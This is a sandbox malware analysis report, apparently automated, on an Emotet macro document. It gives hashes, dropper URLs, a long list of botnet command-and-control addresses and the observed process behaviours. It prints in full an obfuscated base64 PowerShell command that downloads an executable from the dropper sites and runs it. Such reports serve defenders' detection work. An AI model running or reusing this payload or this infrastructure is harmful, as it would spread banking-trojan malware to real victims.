emotet | b77a1fc0f078c8a86bd14ebfb3f0f4548ff34634e966d17977107f142199286b

Analysis

max time kernel
139s
max time network
149s
platform
windows10_x64
resource
win10v200722
submitted
19/10/2020, 13:58

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General

Target
emotet_e1_b77a1fc0f078c8a86bd14ebfb3f0f4548ff34634e966d17977107f142199286b_2020-10-19__135617827480._doc.doc
Size 156KB
Sample201019-8v44zn26dn
SHA256 b77a1fc0f078c8a86bd14ebfb3f0f4548ff34634e966d17977107f142199286b
MD5 ec269ba6820a57ced39f4043c2301cce
SHA1 617b52984e5f0fa4f617267e1e9dd76ecae855df
SHA512 d0b5fd7e9fcd8193a8146684a5eb41bcd17f35471f81b8183d38e66f62d306da501855e7b36e9ea07f1c71c3d05a1d27be31b3c38b1b8fe3c66f0c81a89921f7
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://techsama.com/wp-admin/w0/
exe.dropper
http://goldentimepattaya.com/123-smart/TB/
exe.dropper
https://help.hizuko.com/groovy-count/iY/
exe.dropper
https://www.sunpi.net/wp-includes/n/
exe.dropper
https://fatinzbeaute.com/wp-includes/7/
exe.dropper
https://marketcentsinc.com/_backup/cMf/
exe.dropper
https://safeintelpro.com/yoruba-culture/36/

Extracted

Family

emotet

Botnet

Epoch1

188.251.213.180:80
59.148.253.194:8080
173.212.197.71:8080
70.32.115.157:8080
37.179.145.105:80
190.115.18.139:8080
185.183.16.47:80
94.176.234.118:443
105.209.235.113:8080
178.250.54.208:8080
51.75.33.127:80
192.241.143.52:8080
200.127.14.97:80
68.183.170.114:8080
5.189.178.202:8080
181.123.6.86:80
50.28.51.143:8080
103.236.179.162:80
12.162.84.2:8080
81.215.230.173:443
79.118.74.90:80
64.201.88.132:80
138.97.60.140:8080
152.169.22.67:80
45.46.37.97:80
5.89.33.136:80
213.52.74.198:80
51.255.165.160:8080
189.2.177.210:443
202.134.4.210:7080
185.94.252.12:80
87.106.46.107:8080
191.182.6.118:80
98.103.204.12:443
51.38.124.206:80
209.236.123.42:8080
177.144.130.105:443
188.157.101.114:80
186.222.250.115:8080
60.93.23.51:80
104.131.41.185:8080
45.33.77.42:8080
82.76.111.249:443
51.15.7.189:80
74.58.215.226:80
85.214.26.7:8080
181.129.96.162:8080
217.13.106.14:8080
111.67.12.221:8080
190.24.243.186:80
177.74.228.34:80
183.176.82.231:80
192.81.38.31:80
170.81.48.2:80
1.226.84.243:8080
181.30.61.163:443
213.197.182.158:8080
137.74.106.111:7080
149.202.72.142:7080
109.190.35.249:80
190.188.245.242:80
189.223.16.99:80
83.169.21.32:7080
98.13.75.196:80
181.61.182.143:80
201.71.228.86:80
109.190.249.106:80
216.47.196.104:80
51.15.7.145:80
12.163.208.58:80
138.97.60.141:7080
37.187.161.206:8080
46.101.58.37:8080
201.213.177.139:80
175.143.12.123:8080
5.196.35.138:7080
46.105.114.137:8080
177.73.0.98:443
46.43.2.95:8080
191.191.23.135:80
77.78.196.173:443
70.169.17.134:80
212.71.237.140:8080
24.232.228.233:80
188.135.15.49:80
2.45.176.233:80
219.92.13.25:80
178.211.45.66:8080
174.118.202.24:443
177.129.17.170:443
62.84.75.50:80
68.183.190.199:8080
172.104.169.32:8080
177.144.130.105:8080
177.23.7.151:80
70.32.84.74:8080
74.135.120.91:80
128.92.203.42:80
190.190.219.184:80
186.70.127.199:8090
77.238.212.227:80
186.103.141.250:443
185.94.252.27:443
172.86.186.21:8080
192.232.229.54:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2760	3664	POwersheLL.exe	72

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3796-18-0x00000000022F0000-0x0000000002300000-memory.dmp	emotet
behavioral2/memory/2152-24-0x0000000000640000-0x0000000000650000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
24	2760	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3796	Ldea2n.exe
2152	KBDKHMR.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dpapi\KBDKHMR.exe	Ldea2n.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2760	POwersheLL.exe
2760	POwersheLL.exe
2760	POwersheLL.exe
2152	KBDKHMR.exe
2152	KBDKHMR.exe
2152	KBDKHMR.exe
2152	KBDKHMR.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3796	Ldea2n.exe
3796	Ldea2n.exe
2152	KBDKHMR.exe
2152	KBDKHMR.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3796 wrote to memory of 2152	3796	Ldea2n.exe	81
PID 3796 wrote to memory of 2152	3796	Ldea2n.exe	81
PID 3796 wrote to memory of 2152	3796	Ldea2n.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_b77a1fc0f078c8a86bd14ebfb3f0f4548ff34634e966d17977107f142199286b_2020-10-19__135617827480._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3740

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgAFMARQB0AC0ASQBUAGUATQAgACAAdgBBAFIAaQBBAEIAbABlADoAcwBQAHoAZQBqACAAIAAoAFsAVABZAHAAZQBdACgAJwBTAHkAUwBUAGUAbQAnACsAJwAuAEkATwAnACsAJwAuAEQAaQBSACcAKwAnAEUAQwB0AE8AcgB5ACcAKQApADsAUwBlAHQALQBJAFQAZQBNACAAKAAnAHYAYQByACcAKwAnAGkAYQBiAGwARQA6AGkASgAnACsAJwBRAG0ANgBvACcAKQAgACgAWwBUAHkAUABlAF0AKAAnAHMAJwArACcAWQBzACcAKwAnAFQAZQAnACsAJwBtAC4AbgBlAFQAJwArACcALgBzAEUAJwArACcAcgBWAEkAYwBlACcAKwAnAHAAbwBpAG4AVABNAEEATgBhAGcAZQBSACcAKQAgACAAKQAgACAAOwAgACAAIABzAEUAdAAtAEkAdABFAG0AIAAoACIAdgBhAFIASQAiACsAIgBBAGIATAAiACsAIgBFACIAKwAiADoATABKAHUAIgApACAAKABbAFQAeQBQAGUAXQAoACcAcwB5AHMAJwArACcAdABlAE0ALgBuAEUAVAAuACcAKwAnAFMAZQBjAFUAJwArACcAcgBpAFQAJwArACcAeQBwAFIAJwArACcATwB0AE8AJwArACcAYwBPAGwAdABZACcAKwAnAHAARQAnACkAIAAgACkAIAA7ACQASgBlAGIAYQBkAGMAeQA9ACgAJwBJAGUAaQAnACsAJwBsAGwAcwAwACcAKQA7ACQAUQA1AHcAegB4AHEAMwA9ACQASgBzAHQAbQAwAGoAbwAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAE0AZQBsAGwAdwB4AHMAOwAkAEUAawBsAHQAbwAyAGwAPQAoACcARgAnACsAJwBrAHIAeQBqAG4AegAnACkAOwAgACQAUwBwAFoAZQBqADoAOgBjAFIAZQBhAFQARQBkAGkAUgBlAEMAdABvAFIAWQAoACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAIAArACAAKAAoACcAewAwAH0AJwArACcAVwAnACsAJwA3AGgANAAzAHMAegB7ACcAKwAnADAAfQBTAGYAMwAnACsAJwBqACcAKwAnAHgAcwB4ACcAKwAnAHsAMAB9ACcAKQAtAEYAWwBDAGgAYQByAF0AOQAyACkAKQA7ACQARgB3ADcAZgAwAGwAbgA9ACgAJwBTAGMAJwArACcAdABfACcAKwAnADIAbQBsACcAKQA7ACAAKAAgACAAaQB0AEUAbQAgACAAKAAnAFYAYQBSACcAKwAnAEkAYQBiAEwARQA6AEkASgAnACsAJwBxAE0ANgBvACcAKQApAC4AdgBBAEwAdQBlADoAOgBTAEUAQwBVAFIAaQBUAHkAUABSAG8AdABvAGMATwBsACAAPQAgACAAIAAoACAAIABEAGkAUgAgACgAIgB2AGEAcgBJACIAKwAiAGEAYgBMACIAKwAiAEUAIgArACIAOgBsAEoAVQAiACkAIAApAC4AVgBBAEwAdQBlADoAOgBUAEwAcwAxADIAOwAkAFAAYwBlAGIAaABxADMAPQAoACcARQAyAGQAJwArACcAeQAnACsAJwAzADIAegAnACkAOwAkAEwAZgBlAF8AcgBvADcAIAA9ACAAKAAnAEwAJwArACcAZABlAGEAMgBuACcAKQA7ACQAVwA4AGcANABsAGkAbQA9ACgAJwBXAF8AMwAnACsAJwBjACcAKwAnAGgAagB4ACcAKQA7ACQAVAA1AGoAXwBpAGgAMQA9ACgAJwBaAG4AcAB0AHkAJwArACcAaQBsACcAKQA7ACQAUABmADkAbwBpAGYAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB0ADgAYQAnACsAJwBXADcAJwArACcAaAA0ADMAcwAnACsAJwB6AHQAJwArACcAOABhAFMAJwArACcAZgAzAGoAeABzAHgAdAA4ACcAKwAnAGEAJwApACAAIAAtAEMAcgBFAFAAbABhAGMAZQAgACgAWwBDAGgAQQByAF0AMQAxADYAKwBbAEMAaABBAHIAXQA1ADYAKwBbAEMAaABBAHIAXQA5ADcAKQAsAFsAQwBoAEEAcgBdADkAMgApACsAJABMAGYAZQBfAHIAbwA3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABHADcAawBlAGEAeAByAD0AKAAnAFYAegAnACsAJwBpAHoAJwArACcAYQB6AHMAJwApADsAJABZADcAMwBvAG8AdQA3AD0ATgBgAGUAdwBgAC0AYABPAEIAagBlAGMAdAAgAE4ARQB0AC4AdwBFAEIAYwBMAGkAZQBOAHQAOwAkAE0AcQBrAHMAZwBpAGIAPQAoACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8ALwB0AGUAYwBoACcAKwAnAHMAYQBtAGEAJwArACcALgAnACsAJwBjAG8AbQAnACsAJwAvAHcAJwArACcAcAAnACsAJwAtAGEAZABtAGkAbgAvACcAKwAnAHcAMAAnACsAJwAvACoAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8ALwBnACcAKwAnAG8AbABkAGUAJwArACcAbgB0ACcAKwAnAGkAJwArACcAbQAnACsAJwBlAHAAYQB0AHQAYQB5AGEALgAnACsAJwBjACcAKwAnAG8AbQAvADEAJwArACcAMgAzAC0AJwArACcAcwAnACsAJwBtAGEAcgAnACsAJwB0AC8AJwArACcAVABCAC8AJwArACcAKgBoAHQAdABwAHMAOgAnACsAJwAvAC8AaABlAGwAJwArACcAcAAuACcAKwAnAGgAaQB6ACcAKwAnAHUAawBvAC4AYwBvAG0ALwBnAHIAJwArACcAbwBvAHYAeQAtAGMAbwB1ACcAKwAnAG4AdAAvACcAKwAnAGkAWQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcABzACcAKwAnADoALwAnACsAJwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AcwB1AG4AcABpAC4AJwArACcAbgAnACsAJwBlAHQAJwArACcALwAnACsAJwB3AHAAJwArACcALQBpACcAKwAnAG4AYwBsACcAKwAnAHUAZAAnACsAJwBlAHMALwBuAC8AJwArACcAKgAnACsAJwBoAHQAdABwAHMAJwArACcAOgAvAC8AZgAnACsAJwBhAHQAaQBuAHoAYgBlACcAKwAnAGEAdQB0AGUAJwArACcALgBjAG8AbQAvACcAKwAnAHcAJwArACcAcAAtAGkAbgAnACsAJwBjAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvADcALwAqAGgAdAB0AHAAcwAnACsAJwA6ACcAKwAnAC8ALwAnACsAJwBtAGEAcgBrAGUAdABjACcAKwAnAGUAbgB0AHMAJwArACcAaQBuAGMALgBjAG8AbQAvAF8AYgAnACsAJwBhAGMAJwArACcAawB1AHAALwAnACsAJwBjAE0AZgAvACoAaAAnACsAJwB0ACcAKwAnAHQAcABzADoALwAvAHMAYQBmAGUAaQBuAHQAZQBsAHAAcgAnACsAJwBvAC4AYwBvACcAKwAnAG0ALwAnACsAJwB5AG8AcgAnACsAJwB1ACcAKwAnAGIAYQAtAGMAJwArACcAdQBsAHQAdQAnACsAJwByAGUALwAzADYALwAnACkALgBTAFAAbABJAHQAKAAkAFYAZABuAGcAcgBvADAAIAArACAAJABRADUAdwB6AHgAcQAzACAAKwAgACQARgA1ADUAOQA0ADUAbwApADsAJABSADQANQBsAF8AcwBfAD0AKAAnAEoAJwArACcANgBmAHQAXwBhAG4AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABIAGgAawA3AGUAOQBnACAAaQBuACAAJABNAHEAawBzAGcAaQBiACkAewB0AHIAeQB7ACQAWQA3ADMAbwBvAHUANwAuAGQAbwBXAG4AbABPAEEARABmAGkATABFACgAJABIAGgAawA3AGUAOQBnACwAIAAkAFAAZgA5AG8AaQBmAGIAKQA7ACQAVwB2ADEAdQA3AGUAcwA9ACgAJwBZAHcAOQAnACsAJwBoADUAJwArACcAdAB3ACcAKQA7AEkAZgAgACgAKABnAGUAVABgAC0AaQB0AGAAZQBNACAAJABQAGYAOQBvAGkAZgBiACkALgBMAEUATgBHAHQAaAAgAC0AZwBlACAAMgAzADYAMwA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwBpAG4AMwAyAF8AUAAnACsAJwByACcAKwAnAG8AYwBlAHMAcwAnACkAKQAuAEMAUgBFAEEAVABFACgAJABQAGYAOQBvAGkAZgBiACkAOwAkAE8AYQBoADYAaAA3AGwAPQAoACcARwA1AHgAJwArACcAaQBxAHkAJwArACcAZwAnACkAOwBiAHIAZQBhAGsAOwAkAE4AYwBoAGQANQAzAHQAPQAoACcAWQBuAG4AdgAzACcAKwAnAGsAJwArACcANQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAaABwAF8AZgBxAHkAPQAoACcASwBwAHcAbAA2AHgAJwArACcAcwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2760

C:\Users\Admin\W7h43sz\Sf3jxsx\Ldea2n.exe
C:\Users\Admin\W7h43sz\Sf3jxsx\Ldea2n.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3796
- C:\Windows\SysWOW64\dpapi\KBDKHMR.exe
  "C:\Windows\SysWOW64\dpapi\KBDKHMR.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2152

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2152-24-0x0000000000640000-0x0000000000650000-memory.dmp

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memory/2760-11-0x000001E241EE0000-0x000001E241EE1000-memory.dmp

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memory/2760-12-0x000001E25A0D0000-0x000001E25A0D1000-memory.dmp

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memory/2760-10-0x00007FFE70100000-0x00007FFE70AEC000-memory.dmp

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memory/3740-0-0x00007FFE77400000-0x00007FFE77AC6000-memory.dmp

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memory/3740-9-0x0000025FE976B000-0x0000025FE978B000-memory.dmp

Download

memory/3740-8-0x0000025FE976B000-0x0000025FE978B000-memory.dmp

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memory/3740-7-0x0000025FE976B000-0x0000025FE978B000-memory.dmp

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memory/3740-6-0x0000025FF1561000-0x0000025FF1566000-memory.dmp

Download

memory/3796-18-0x00000000022F0000-0x0000000002300000-memory.dmp

Download